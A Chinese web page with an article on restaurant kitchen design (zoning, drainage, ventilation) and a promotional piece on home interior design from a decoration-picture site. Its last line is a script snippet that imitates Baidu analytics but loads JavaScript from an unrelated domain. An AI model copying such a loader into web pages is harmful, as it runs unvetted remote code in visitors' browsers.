中餐厅厨房设计有哪些要点和要求

中国饮食因其丰富多彩的烹饪手法和口味，在世界范围内广受好评。因此也有越来越多的人选择开中餐厅，在餐厅装修中不可忽视的就是厨房的装修，那么中餐厅厨房设计有哪些要点和要求呢？下面将从地面设施，排水设施和排烟排气设施三大厨房重点设计方面给大家介绍一下中餐厅厨房设计的要点和要求。一、区域划分中餐烹饪手法多样，菜式丰富，因此中餐厨房可以按照菜式不同划分为热菜区、冷菜区、点心区，另外还有肉类粗加区域，蔬菜粗加工区域，以及餐具清洁区域，备餐区域等等。因此在中餐厅厨房设计时，既要考虑这些区域的不同操作功能而将其做一定的区分，也要考虑各个区域在工作上的合作而有序的连接起来。比如常见的热菜和冷菜的操作区域要区分开来，生菜及肉类的初加工区域要和熟菜区分开，以及厨房垃圾区域与食材区域需要区分，出餐区要靠近顾客就餐区域方便传菜等等。但同时要根据操作的顺序习惯将各个区域合理的有逻辑的串联起来，以便提高厨房工作效率。二、地下排污设施中餐厅厨房设计装修中的难题之一就是地下排污问题。由于中餐厨房的地面经常有积水和杂物，因此需要好好设计厨房的排污设施。除了合理设计操作台和排污口的位置，还可以利用一些设计上的小技巧，比如在下水道中安装一些高压喷水设施，这些喷水设施可以防止垃圾滞留在下水道里面而造成下水道堵塞，排污不顺。另外，各个地下排污的排污管道都应设计一定的倾斜角度，以便于污物顺利的排向主排污通道。在排污管道的材质选择上，不可选择易被腐蚀、易生锈的材质，最好选用不锈钢材质这类可防生锈的。三、房顶的排烟排气设施由于中式菜肴的烹饪特色，通常会有快炒、爆炒这样的烹饪手段造成大量的油烟，因此中餐厅厨房设计时好的排烟排气设施就显得十分重要。快速有效的将厨房中的油烟和热气排除出去可以维持厨房良好的操作环境，降低厨房的环境温度。由于中式厨房的特点，厨房的温度经常高达40度左右，十分影响厨师和工作人员的工作效率，且在高温下各种食材也容易变质。因此在中餐厅厨房设计时需要设计好排烟排气管道，使用强力的排烟排气机，以保持厨房良好的工作环境。以上就是中餐厅厨房设计的要点。一个合理装修的厨房，不仅能让厨师与其他工作人员有效的配合工作，提高工作效率，也能更加得心应手得烹饪出顾客满意的美味佳肴。相信只要掌握以上中餐厅厨房设计的关键点，就能打造出餐厅最满意的后厨空间。

装修图片网 带您了解装修设计的要点有哪些

买房后，花的钱已经是不少，但除了这么些的钱，装修设计还需要很多钱，除了花钱，装修设计还需要注意很多方面。装修图片网告诉您，首先了解室内装修设计的要点，室内装修的成本也是每个人的关注，注意这些，就可以减少不少装修成本。室内装修设计有哪些要点呢？一、空间点据装修图片网所示，室内空间是否得到充分利用对于室内装饰的设计非常重要，需要在有限的空间内展现出不同的新思路，使室内装饰更加美观，看起来大的空间将让人产生舒适愉悦的心情。二、色点装修图片网发现，房间配色不当会影响人们的情绪，所以合理的配色不仅有助于工作，有助于健康，还能达到美容效果。因此，除了配色规则外，还需要随时调整室内装饰设计的配色。三、光点和阴影点人们喜欢阳光的感觉，所以室内照明和柔和散射的光线可以使室内充满亲密感，光与影的交织可以使室内充满活力。装修图片网的设计图纸都会注意室内采光，光线充足，家居才会显得更加温馨。四、装饰点装修图片网的会员朋友表示，小物体对于房屋内部的装饰是必不可少的，如墙壁、支柱等，以共同形成一个美丽的室内环境。建议可以使用不同的材料来更好地装饰内部空间。五、家具对于室内陈设来说也很重要，所以为了满足基本的家具要求，装饰用来使室内更加美观，让住宿更舒适。六、​绿化点房屋的室内绿化可以改善室内空气环境，使室内空气更清新。装修图片网的会员朋友建议，对于不同的室内场所，可以放置不同的绿色植物。例如，卧室可以放置常春藤、夜间香味植物，客厅里摆满丰富的竹子、吊兰等小盆栽。更多装修要点，欢迎搜索装修图片网了解！ var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();